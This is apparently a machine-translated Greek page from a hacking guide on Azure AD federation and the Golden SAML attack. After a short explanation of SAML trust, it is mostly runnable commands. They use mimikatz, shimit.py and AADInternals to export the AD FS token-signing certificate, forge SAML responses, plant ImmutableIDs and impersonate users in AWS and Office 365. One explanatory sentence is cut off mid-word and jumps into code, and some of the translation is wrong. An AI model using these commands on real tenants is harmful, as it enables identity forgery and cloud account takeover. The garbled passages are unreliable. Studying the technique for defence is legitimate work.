Az - Federation

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Από τα έγγραφα:Ένωση είναι μια συλλογή τομέων που έχουν καθιερώσει εμπιστοσύνη. Το επίπεδο εμπιστοσύνης μπορεί να διαφέρει, αλλά συνήθως περιλαμβάνει πιστοποίηση και σχεδόν πάντα περιλαμβάνει εξουσιοδότηση. Μια τυπική ένωση μπορεί να περιλαμβάνει έναν αριθμό οργανισμών που έχουν καθιερώσει εμπιστοσύνη για κοινή πρόσβαση σε ένα σύνολο πόρων.

Μπορείτε να ενώσετε το περιβάλλον σας στο Azure AD και να χρησιμοποιήσετε αυτήν την ένωση για πιστοποίηση και εξουσιοδότηση. Αυτή η μέθοδος σύνδεσης εξασφαλίζει ότι όλη η πιστοποίηση των χρηστών γίνεται στο περιβάλλον σας. Αυτή η μέθοδος επιτρέπει στους διαχειριστές να εφαρμόσουν πιο αυστηρά επίπεδα ελέγχου πρόσβασης. Η ένωση με το AD FS και το PingFederate είναι διαθέσιμη.

Βασικά, στην Ένωση, όλη η πιστοποίηση γίνεται στο περιβάλλον on-prem και ο χρήστης έχει μια εμπειρία SSO σε όλα τα αξιόπιστα περιβάλλοντα. Έτσι, οι χρήστες μπορούν να έχουν πρόσβαση σε εφαρμογές στο cloud χρησιμοποιώντας τα διαπιστευτήριά τους από το on-prem.

Για την ανταλλαγή όλων των πληροφοριών πιστοποίησης και εξουσιοδότησης μεταξύ των παρόχων χρησιμοποιείται η Security Assertion Markup Language (SAML).

Σε κάθε σύστημα ένωσης υπάρχουν τρεις πλευρές:

  • Χρήστης ή Πελάτης

  • Πάροχος Ταυτότητας (IdP)

  • Πάροχος Υπηρεσιών (SP)

(Εικόνες από https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

  1. Αρχικά, ένας χρήστης έχει πρόσβαση σε μια εφαρμογή (Πάροχος Υπηρεσιών ή SP, όπως το AWS console ή το vSphere web client). Αυτό το βήμα μπορεί να παρακαμφθεί, οδηγώντας τον πελάτη απευθείας σ

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Με όλες τις πληροφορίες, είναι δυνατόν να ξεχάσετε ένα έγκυρο SAMLResponse ως τον χρήστη που θέλετε να προσωποποιήσετε χρησιμοποιώντας το shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

Επικοινωνία από τον τοπικό υπολογιστή στον cloud

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Είναι επίσης δυνατό να δημιουργηθεί το ImmutableID των χρηστών μόνο στο cloud και να προσποιηθούμε ως αυτούς.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated